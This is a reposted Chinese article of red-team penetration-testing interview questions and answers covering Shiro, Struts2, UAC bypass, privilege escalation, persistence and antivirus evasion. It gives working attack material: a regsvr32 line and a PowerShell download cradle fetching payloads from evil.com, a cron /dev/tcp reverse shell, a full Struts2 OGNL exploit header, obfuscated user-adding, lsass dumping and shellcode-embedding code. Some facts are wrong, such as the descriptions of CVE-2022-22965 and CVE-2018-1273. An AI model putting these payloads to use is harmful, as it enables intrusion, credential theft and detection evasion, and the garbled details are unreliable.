当前位置： 首页 > news >正文

2025年渗透测试面试题总结-渗透测试红队面试七（题目+回答）

news 2025/5/13 5:40:03

网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。

目录

渗透测试红队面试七

一百八十一、Shiro漏洞类型，721原理，721利用要注意什么？

一百八十二、HVV三大洞

一百八十三、天擎终端防护绕过思路

一百八十四、免杀木马的思路

一百八十五、JSONP与CORS跨域危害

一百八十六、外网打点进入内网案例

一百八十七、RMI利用原理

一百八十八、域内普通用户利用

一百八十九、宝塔禁止PHP函数绕过

一百九十、证书透明度的危害

一百九十一、内网渗透降权的作用

一百九十二、Webshell有SYSTEM权限但无法执行命令

一百九十三、TrustedInstaller权限原理

一百九十四、2008服务权限提权

一百九十五、Windows UAC原理

一百九十六、绕过火绒/360添加用户

一百九十七、伪造钓鱼邮箱与风险

一百九十八、默认端口

一百九十九、XSS组合拳Getshell

二百、烂土豆（Rotten Potato）提权原理

二百〇一、PowerShell免杀制作

二百〇二、绕过内存Hash提取查杀

二百〇三、Linux/Windows权限维持

二百〇四、蓝队与红队工作流程

二百〇五、Shellcode嵌入正常EXE

二百〇六、Spring框架漏洞

二百〇七、Struts2漏洞利用原理

二百〇八、PHP/Java反序列化漏洞原理与修复

二百〇九、CRLF注入原理

二百一十、PHP LFI漏洞

渗透测试红队面试七

一百八十一、shiro漏洞类型，721原理，721利用要注意什么？一百八十二、hvv三大洞？一百八十三、天擎终端防护如何绕过，绕过思路？一百八十四、免杀木马的思路？一百八十五、jsonp跨域的危害，cors跨域的危害？一百八十六、说出印象比较深刻的一次外网打点进入内网？一百八十七、rmi的利用原理？一百八十八、域内的一个普通用户（非域用户）如何进行利用？一百八十九、宝塔禁止PHP函数如何绕过？一百九十、证书透明度的危害？一百九十一、内网渗透降权的作用？一百九十二、webshell有system权限但无法执行命令，怎么办？一百九十三、TrustedInstall权限的原理是什么？一百九十四、2008的服务权限如何进行提权？一百九十五、Windows UAC原理是什么？一百九十六、Windows添加用户如何绕过火绒以及360？一百九十七、如何伪造钓鱼邮箱？会面临什么问题？一百九十八、分别说出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默认端口。一百九十九、XSS如何配合组合拳进行getshell。二百、烂土豆提权使用过吗？它的原理？二百〇一、powershell免杀怎么制作？二百〇二、提取内存hash被查杀，如何绕过？二百〇三、分别说下linux、windows的权限维持？二百〇四、如何开展蓝队工作？如何开展红队工作？二百〇五、如何把shellcode嵌入到正常exe中？二百〇六、描述下Spring框架的几个漏洞？二百〇七、说下strust2的漏洞利用原理？二百〇八、php/java反序列化漏洞的原理?解决方案?二百〇九、CRLF注入的原理二百一十、php的LFI，本地包含漏洞原理是什么？写一段带有漏洞的代码。手工的话如何发掘？如果无报错回显，你是怎么遍历文件的？

一百八十一、Shiro漏洞类型，721原理，721利用要注意什么？

  1. 漏洞类型
    • 反序列化漏洞（Shiro-550）：因硬编码密钥导致攻击者伪造RememberMe Cookie，利用Apache Commons Collections链执行任意代码。
    • 权限绕过漏洞（CVE-2020-1957等）：URL路径解析缺陷（如/admin/被解析为/admin绕过鉴权）。
    • Padding Oracle攻击（Shiro-721）：CBC加密模式填充错误漏洞，可破解密钥伪造恶意Cookie。
  2. Shiro-721原理
    • 攻击者需先获取合法用户的RememberMe Cookie（需高权限账户）。
    • 利用CBC加密的填充错误机制，通过多次请求（约数千次）逐字节爆破AES密钥。
    • 最终构造恶意序列化数据，触发反序列化漏洞执行代码。
  3. 利用注意事项
    • 需要稳定的网络环境（避免请求失败中断爆破）。
    • 目标需开启RememberMe功能且使用默认AES加密模式。
    • 攻击时间较长，需隐蔽操作避免触发告警。

一百八十二、HVV三大洞

  1. 未授权访问
    • Redis/MongoDB未授权：直接连接执行命令或写入SSH密钥。
    • K8s API Server暴露：未鉴权下创建Pod或执行容器逃逸。
  2. 远程代码执行（RCE）
    • Web应用漏洞：如Fastjson反序列化、Log4j2 JNDI注入。
    • 中间件漏洞：如WebLogic T3协议反序列化、Apache Solr Velocity模板注入。
  3. 弱口令与默认配置
    • 系统/设备弱口令：如Tomcat默认密码admin:admin。
    • 服务默认端口暴露：如Elasticsearch 9200端口未配置访问控制。

一百八十三、天擎终端防护绕过思路

  1. 进程注入与内存免杀
    • 将恶意代码注入可信进程（如svchost.exe ）或通过反射型DLL加载。
    • 使用工具：Cobalt Strike的shinject、Metasploit的migrate。
  2. 驱动级绕过
    • 利用已签名驱动的漏洞（如某些硬件厂商驱动）加载内核模块。
    • 例如：通过BYOVD（Bring Your Own Vulnerable Driver）攻击。
  3. 白名单程序滥用
    • 劫持系统工具执行恶意操作，如：
      • WMI：通过wmic执行远程脚本。
      • MsBuild：编译内嵌恶意代码的C#项目文件。

一百八十四、免杀木马的思路

  1. 代码混淆与加密
    • 使用AES加密Shellcode，运行时动态解密（如使用VirtualAlloc分配内存执行）。
    • 工具：sgn（Shikata Ga Nai）编码器、ConfuserEx混淆器。
  2. 合法工具加载
    • 利用微软签名的程序加载恶意代码，如：
      • Regsvr32：执行远程脚本（regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll ）。
      • Mshta：运行HTA文件执行PowerShell命令。
  3. 反沙箱与反调试
    • 检测虚拟机环境（如检查进程名vmtoolsd、注册表键值）。
    • 延迟执行：通过Sleep()函数或条件触发绕过行为分析。

一百八十五、JSONP与CORS跨域危害

  1. JSONP危害
    • 敏感数据泄露：若回调函数名未过滤，攻击者可劫持返回数据（如窃取用户身份信息）。
    • CSRF攻击：结合JSONP接口实现跨站请求伪造（如修改用户密码）。
  2. CORS危害
    • 配置不当导致越权：如Access-Control-Allow-Origin: *允许任意域读取数据。
    • 结合XSS攻击：通过CORS信任域下的XSS窃取其他域的数据（如Cookie）。

一百八十六、外网打点进入内网案例

案例背景：某企业官网存在Git源码泄露，导致数据库密码暴露。
攻击链：

  1. 外网突破：通过泄露的数据库密码登录后台，上传Webshell。
  2. 内网渗透：发现内网Jenkins服务（未授权访问），利用Groovy脚本执行命令。
  3. 横向移动：通过Jenkins节点获取域用户凭证，利用SMB爆破横向至域控服务器。

一百八十七、RMI利用原理

  1. 攻击面
    • RMI Registry反序列化：向Registry发送恶意对象触发反序列化（如CVE-2017-3248）。
    • 远程对象方法调用：通过动态类加载（DGC）下载恶意类文件执行代码。
  2. 利用工具
    • ysoserial：生成Gadget链Payload（如JRMPClient）。
    • Exploit步骤： 
       
      bash
       
      复制
       
      java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'cmd.exe /c calc'
       
     
 
 
一百八十八、域内普通用户利用
 
  1. 信息收集 
    • PowerView：枚举域内主机（Get-NetComputer）、共享（Invoke-ShareFinder）。
    • BloodHound：分析域内权限关系，寻找攻击路径（如ACL滥用）。
     
  2. 横向移动 
    • Pass-the-Hash：使用Mimikatz或Impacket的psexec.py 传递NTLM哈希。
    • MS17-010漏洞：利用永恒之蓝攻击未修补的主机。
     
  3. 提权路径 
    • SeImpersonate权限滥用：使用Juicy Potato或PrintSpoofer获取SYSTEM权限。
    • 服务配置错误：利用弱权限服务路径替换DLL或EXE文件。
     
 
 
一百八十九、宝塔禁止PHP函数绕过
 
  1. 函数替代 
    • 禁用system但允许shell_exec：使用shell_exec('whoami')执行命令。
    • 反引号执行：echo \whoami`;`。
     
  2. LD_PRELOAD劫持 
    • 编写恶意共享库（.so），通过putenv设置LD_PRELOAD劫持函数调用。
    • 代码示例： 
       
      php
       
      复制
       
      putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','',''); // 触发新进程加载恶意库 
       
     
 
 
一百九十、证书透明度的危害
 
  1. 子域名劫持 
    • 攻击者监控证书透明度日志，发现未使用的子域并注册指向恶意服务器。
    • 例如：dev.example.com 在证书日志中存在但DNS未解析，攻击者劫持后钓鱼。
     
  2. 伪造证书信任链 
    • 利用透明度日志中的过期证书，伪装成合法服务进行中间人攻击。
     
 
 
一百九十一、内网渗透降权的作用
 
  1. 规避检测 
    • 降权至普通用户减少日志告警（如域管操作触发SIEM规则）。
     
  2. 权限维持隐蔽性 
    • 低权限账户不易被清理（如域管定期重置密码）。
     
 
 
一百九十二、Webshell有SYSTEM权限但无法执行命令
 
  1. 权限限制分析 
    • AppLocker策略：限制非白名单程序执行（如禁止cmd.exe ）。
    • 杀软拦截：静态检测Webshell关键词或动态拦截恶意进程。
     
  2. 绕过方法 
    • COM对象调用：使用WScript.Shell执行命令。 
       
      php
       
      复制
       
      $wsh = new COM('WScript.Shell'); $wsh->Run('cmd.exe /c whoami', 0, false);
       
    • DLL侧加载：通过rundll32加载恶意DLL。
     
 
 
一百九十三、TrustedInstaller权限原理
 
  1. 权限层级 
    • TrustedInstaller是Windows资源的所有者（如系统文件），权限高于SYSTEM。
     
  2. 提权方法 
    • 通过服务配置修改：劫持TrustedInstaller服务路径加载恶意程序。
    • 利用漏洞：如CVE-2020-1048（打印服务漏洞）获取权限。
     
 
 
一百九十四、2008服务权限提权
 
  1. 服务路径劫持 
    • 查找弱权限服务（accesschk.exe -uwcqv），替换其二进制文件。
     
  2. DLL劫持 
    • 将恶意DLL放置到服务加载路径中，劫持合法DLL调用。
     
  3. SC命令滥用 
    • 通过sc config修改服务BIN_PATH指向恶意程序。
     
 
 
一百九十五、Windows UAC原理
 
  1. 权限隔离机制 
    • 默认以标准用户权限运行进程，提权需用户确认或数字签名验证。
     
  2. 绕过方法 
    • 白名单程序滥用：如cmstp.exe 、msiexec.exe 执行恶意代码。
    • UAC Bypass漏洞：如CVE-2019-1388（证书对话框提权）。
     
 
 
一百九十六、绕过火绒/360添加用户
 
  1. 直接修改注册表 
    • 使用reg add添加用户键值，避开用户态Hook： 
       
      cmd
       
      复制
       
      reg add "HKLM\SAM\SAM\Domains\Account\Users\000003F0" /v F /t REG_BINARY /d [hex数据]
       
     
  2. Powershell绕过 
    • 使用混淆脚本调用net user命令： 
       
      powershell
       
      复制
       
      &('ne'+'t') u'ser' evil P@ssw0rd /add 
       
     
 
 
一百九十七、伪造钓鱼邮箱与风险
 
  1. 伪造方法 
    • 域名仿冒：注册相似域名（如examp1e.com 代替example.com ）。
    • SPF记录伪造：利用SPF配置不严格（?all）绕过邮件服务器验证。
     
  2. 面临风险 
    • DMARC检测：收件方服务器可能标记邮件为垃圾或拒收。
    • 法律风险：可能触犯《刑法》第二百八十五条（非法侵入计算机信息系统罪）。
     
 
 
一百九十八、默认端口
 
服务默认端口
Redis6379
WebLogic7001
MongoDB27017
Elasticsearch9200/9300
LDAP389/636
Samba445/139
Jenkins8080
RMI Registry1099
 
 
一百九十九、XSS组合拳Getshell
 
  1. XSS + CSRF 
    • 通过XSS窃取管理员Cookie，伪造CSRF请求上传Webshell。
     
  2. XSS + CORS 
    • 利用CORS配置错误，通过XSS跨域读取内网接口数据，获取敏感信息。
     
  3. XSS + 文件上传 
    • 通过XSS劫持管理员会话，调用后台文件上传功能传马。
     
 
 
二百、烂土豆（Rotten Potato）提权原理
 
  1. 令牌模拟漏洞 
    • 利用Windows本地NTLM认证流程（NTLM over localhost），将SYSTEM令牌模拟到当前进程。
     
  2. 利用条件 
    • 需具备SeImpersonatePrivilege权限（IIS、SQL Server等默认拥有）。
     
  3. 攻击步骤 
    • 触发本地NTLM认证，通过DCOM服务劫持端口，最终获取SYSTEM令牌。
     
 
 
二百〇一、PowerShell免杀制作
 
  1. 代码混淆 
    • 使用Invoke-Obfuscation工具混淆脚本： 
       
      powershell
       
      复制
       
      Invoke-Obfuscation -ScriptPath evil.ps1 -Command 'Token\All\1,Launcher\PS\124'
       
     
  2. 内存加载 
    • 反射加载Shellcode： 
       
      powershell
       
      复制
       
      $bytes = (New-Object Net.WebClient).DownloadData('http://evil.com/shellcode.bin'); [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null);
       
     
 
 
二百〇二、绕过内存Hash提取查杀
 
  1. 定制化工具 
    • 修改Mimikatz源码（如函数名、字符串特征），绕过静态检测。
     
  2. 直接内存读取 
    • 使用C++编写工具直接读取lsass.exe 内存，避开API Hook。
     
  3. 合法凭证导出 
    • 使用微软官方工具procdump导出内存镜像，本地解析： 
       
      cmd
       
      复制
       
      procdump.exe -ma lsass.exe lsass.dmp 
       
     
 
 
二百〇三、Linux/Windows权限维持
 
LinuxWindows
1. SSH后门：修改~/.ssh/authorized_keys添加攻击者公钥。1. 注册表启动项：HKLM\Software\Microsoft\Windows\CurrentVersion\Run添加恶意路径。
2. Cron定时任务：添加* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'。2. 计划任务：schtasks /create /tn "Update" /tr "C:\evil.exe" /sc minute /mo 1。
3. SUID提权：chmod +s /bin/bash，通过bash -p获取root权限。3. 服务后门：创建服务指向恶意程序，sc create EvilService binPath= "C:\evil.exe" 。
 
 
二百〇四、蓝队与红队工作流程
 
蓝队（防御）：
 
  1. 监控与分析：通过SIEM（如Splunk）实时分析日志，检测异常行为（如异常登录、横向移动）。
  2. 威胁狩猎：使用EDR工具（如CrowdStrike）主动搜寻隐藏威胁。
  3. 应急响应：隔离受感染主机，分析攻击链，修复漏洞并溯源攻击者。
 
红队（攻击模拟）：
 
  1. 情报收集：通过OSINT（如Shodan、Hunter.io ）收集目标信息。
  2. 漏洞利用：模拟APT攻击链（如鱼叉邮件钓鱼+内网渗透）。
  3. 报告输出：提供详细攻击路径与防御建议（如加固建议、检测规则）。
 
 
二百〇五、Shellcode嵌入正常EXE
 
  1. 资源文件插入 
    • 使用Visual Studio将Shellcode作为资源文件嵌入，运行时加载执行： 
       
      cpp
       
      复制
       
      HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); LPVOID pShellcode = LockResource(LoadResource(NULL, hRes));
       
     
  2. 附加节区注入 
    • 使用CFF Explorer在PE文件中添加新节区，写入Shellcode并修改入口点。
     
  3. 进程镂空（Process Hollowing） 
    • 创建合法进程（如svchost.exe ），卸载其内存，写入Shellcode并执行。
     
 
 
二百〇六、Spring框架漏洞
 
  1. CVE-2022-22963（SpEL注入） 
    • 攻击者通过spring-cloud-function的SpEL表达式执行任意命令。
     
  2. CVE-2022-22965（JDBC注入） 
    • 利用Spring MVC参数绑定漏洞，通过恶意请求修改JDBC URL触发RCE。
     
  3. CVE-2018-1273（远程代码执行） 
    • 通过Spring Data Commons的嵌套属性绑定漏洞执行OGNL表达式。
     
 
 
二百〇七、Struts2漏洞利用原理
 
  1. OGNL表达式注入 
    • 攻击者通过恶意参数（如Content-Type、filename）注入OGNL表达式。
    • 示例（CVE-2017-5638）： 
       
      http
       
      复制
       
      POST /struts2-showcase/upload.action HTTP/1.1 Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 
       
     
 
 
二百〇八、PHP/Java反序列化漏洞原理与修复
 
  1. 漏洞原理 
    • PHP：unserialize()函数触发魔术方法（如__wakeup()、__destruct()）执行代码。
    • Java：readObject()方法反序列化恶意对象，触发Gadget链（如Apache Commons Collections）。
     
  2. 修复方案 
    • 输入过滤：避免反序列化用户可控数据。
    • 安全配置：PHP禁用危险类（phar.readonly=On ），Java使用SerialKiller库过滤类。
     
 
 
二百〇九、CRLF注入原理
 
  1. 攻击场景 
    • 注入\r\n分割HTTP头，如： 
       
      http
       
      复制
       
      GET /%0d%0aSet-Cookie:evil=value HTTP/1.1 
       服务器响应： 
       
      http
       
      复制
       
      HTTP/1.1 200 OK Set-Cookie: evil=value 
       
     
  2. 利用后果 
    • 设置恶意Cookie、缓存投毒（如X-Forwarded-For头伪造IP）。
     
 
 
二百一十、PHP LFI漏洞
 
  1. 漏洞代码示例 
     
    php
     
    复制
     
    <?php $page = $_GET['page']; include($page . '.html'); ?>
     
    • 攻击者可传入page=../../etc/passwd%00，利用空字节截断后缀。
     
  2. 手工挖掘技巧 
    • 路径遍历测试：?page=..%2f..%2fetc/passwd。
    • 伪协议利用：?page=php://filter/convert.base64-encode/resource=index.php 读取源码。
     
  3. 无回显文件遍历 
    • 时间盲注：通过include延时判断文件存在性（如/proc/self/cwd/路径遍历）。
    • 错误触发：包含不存在的文件触发Warning日志，观察服务器响应差异。
     
 






http://www.xdnf.cn/news/401059.html






相关文章：


  • 
基于事件驱动和策略模式的差异化处理方案

    • 

  • 
TDengine 在金融领域的应用

    • 

  • 
算法模型部署后_python脚本API测试指南-记录3

    • 

  • 
PyTorch实战（4）——卷积神经网络(Convolutional Neural Network, CNN)详解

    • 

  • 
SVN 中文路径访问报错（权限已正确分配）

    • 

  • 
Java项目层级介绍 java 层级 层次

    • 

  • 
Termius ssh连接服务器 vim打开的文件无法复制问题

    • 

  • 
Java中的​​策略模式​​和​​模板方法模式

    • 

  • 
想实现一个基于MCP的pptx生成系统架构图【初版实现】

    • 

  • 
Java-Arrays工具类：基础到进阶的数组操作全面指南

    • 

  • 
14B检索能力超过Google Search，阿里ZeroSearch通过RL激发LLM检索推理能力~

    • 

  • 
MFC listctrl修改背景颜色

    • 

  • 
【文心智能体】使用文心一言来给智能体设计一段稳定调用工作流的提示词

    • 

  • 
解决LangChain4j报错HTTP/1.1 header parser received no bytes

    • 

  • 
精益数据分析（56/126）：创业阶段的划分与精益数据分析实践

    • 

  • 
ElasticSearch聚合操作案例

    • 

  • 
Oracle adg环境下调整redo日志组以及standby日志组大小

    • 

  • 
CSDN博客粘贴图片失败如何解决

    • 

  • 
佰力博科技与您探讨阻抗谱测量的基本原理和测量方法

    • 

  • 
【言语】刷题2

    • 

  • 
Qt5.14.2 链接 MySQL 8.4 遇到的问题

    • 

  • 
第三方软件测评中心分享：软件功能测试类型和测试工具

    • 

  • 
动手学深度学习12.4.硬件-笔记练习（PyTorch）

    • 

  • 
# 实时英文 OCR 文字识别：从摄像头到 PyQt5 界面的实现

    • 

  • 
python 的 ​uv、pip​ 和 ​conda​ 对比和技术选型

    • 

  • 
安卓玩机工具-----安卓机型一款很好用的数据备份恢复软件 支持云端备份

    • 

  • 
C#中SetProperty方法使用

    • 

  • 
Qt进阶开发：QTcpServer的的详解

    • 

  • 
对抗进行性核上性麻痹，健康护理筑牢生活防线

    • 

  • 
Golang 应用的 CI/CD 与 K8S 自动化部署全流程指南

    •